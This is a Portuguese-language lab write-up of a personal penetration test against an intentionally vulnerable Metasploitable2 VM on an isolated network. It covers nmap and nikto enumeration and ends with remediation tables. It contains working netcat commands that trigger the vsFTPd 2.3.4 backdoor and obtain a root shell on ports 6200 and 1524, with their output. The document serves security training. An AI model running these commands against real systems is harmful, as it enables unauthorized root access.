
Laboratório de pentest em rede isolada: enumeração com nmap/nikto e exploração manual do Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) com relatório técnico completo.
Autor: Daniel Stefan de Jesus dos Reis
Data: Setembro/2026
Ambiente: Laboratório pessoal KVM em rede virtual isolada pentestlab
Este teste foi realizado exclusivamente contra uma máquina virtual própria e intencionalmente vulnerável, distribuída pela Rapid7 especificamente para fins de treinamento em segurança ofensiva, dentro de uma rede virtual isolada sem saída para a internet. Nenhum sistema de terceiros foi acessado. Este projeto tem finalidade exclusivamente educacional, para desenvolvimento de habilidades em testes de intrusão.
pentestlab (bridge virbr-lab), sub-rede 192.168.100.0/24, sem <forward> configurado — ou seja, uma rede isolada de verdade: as VMs conversam entre si e com o host, mas não têm rota para fora do laboratório. XML da rede em evidencias/pentestlab_network.xml.virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap e netcat.metasploitable2 (Metasploitable2, Ubuntu 8.04 modificado), IP 192.168.100.90/24, atribuído via DHCP da própria rede isolada.[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
Segui um fluxo básico de reconhecimento → enumeração → exploração → documentação:
nmap -sV -sC -p-)nikto)nc, para entender o mecanismo de cada falha, não só "rodar o exploit"Comando: nmap -sV -sC -p- -T4 192.168.100.90
Saída completa: evidencias/nmap_full_scan.txt
Resumo dos serviços mais relevantes encontrados:
Entre 30/06/2011 e 03/07/2011, o código-fonte do vsFTPd 2.3.4 disponibilizado para download foi adulterado por um atacante. A versão comprometida contém uma backdoor: ao receber, no campo de usuário do login FTP, uma string terminada em :), o servidor abre um shell de root na porta TCP 6200, sem qualquer autenticação.
Passos executados (log completo em evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Resultado:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Acesso root total obtido sem autenticação.
O nmap já identifica esse serviço como Metasploitable root shell — uma backdoor deixada intencionalmente na imagem (resquício de um exploit anterior, comum em imagens de treinamento). Não exige exploração: basta conectar.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Resultado: uid=0(root) gid=0(root) groups=0(root) — root imediato.
Log completo em evidencias/bindshell_1524.txt.
A versão do UnrealIRCd rodando nas portas 6667/6697 corresponde a uma build historicamente distribuída com uma backdoor (comando AB; seguido de um comando de shell). Tentei disparar a backdoor manualmente via nc, mas o servidor tratou a entrada como um comando IRC inválido (451 :You have not registered) em vez de executar o comando — ou essa imagem específica não contém o binário trojanizado, ou o payload precisa de ajuste fino que não priorizei nesta rodada. Registro isso como tentativa sem sucesso, não como vulnerabilidade confirmada.
Serviço de compilação distribuída que aceita comandos arbitrários de qualquer cliente que se conecte, sem autenticação. Identificado por versão, não explorado nesta rodada.
Historicamente vulnerável a execução remota de código via desserialização. Identificado por versão, não explorado nesta rodada.
Comando: nikto -h 192.168.100.90 -p 80
Saída completa: evidencias/nikto_scan.txt
Principais achados:
TRACE ativo (potencial XST)/phpinfo.php exposto publicamente (revela configuração do PHP)/phpMyAdmin/ acessível sem restrição de IP/doc/, /test/ e /icons/httponlypentestlab, em vez de atacar diretamente do host| Porta | Serviço | Versão | Observação |
|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Login anônimo permitido + backdoor conhecida |
| 22/tcp | SSH | OpenSSH 4.7p1 | Desatualizado |
| 23/tcp | Telnet | Linux telnetd | Protocolo em texto claro |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin e phpinfo.php expostos |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Assinatura de mensagens desabilitada |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Historicamente vulnerável a RCE |
| 1524/tcp | bindshell | — | Shell de root já aberto, sem autenticação |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Historicamente vulnerável a RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | protocolo 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Versão associada a backdoor conhecida |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
| Achado | Recomendação |
|---|
| Backdoor vsFTPd 2.3.4 | Nunca usar binários de fontes não oficiais/não verificadas; validar hash/assinatura de pacotes antes de instalar |
| Bindshell na porta 1524 | Auditar portas abertas regularmente (nmap interno periódico); qualquer shell não documentado é um incidente |
| distccd exposto sem autenticação | Restringir a hosts confiáveis via firewall ou desabilitar se não estiver em uso ativo de build distribuído |
| phpMyAdmin/phpinfo.php expostos | Restringir acesso por IP/VPN, nunca expor ferramentas administrativas publicamente |
| Apache/PHP desatualizados | Manter processo de patch management ativo |
| Listagem de diretório habilitada | Desabilitar Options Indexes no Apache |
| SMB com assinatura de mensagens desabilitada | Habilitar server signing = mandatory |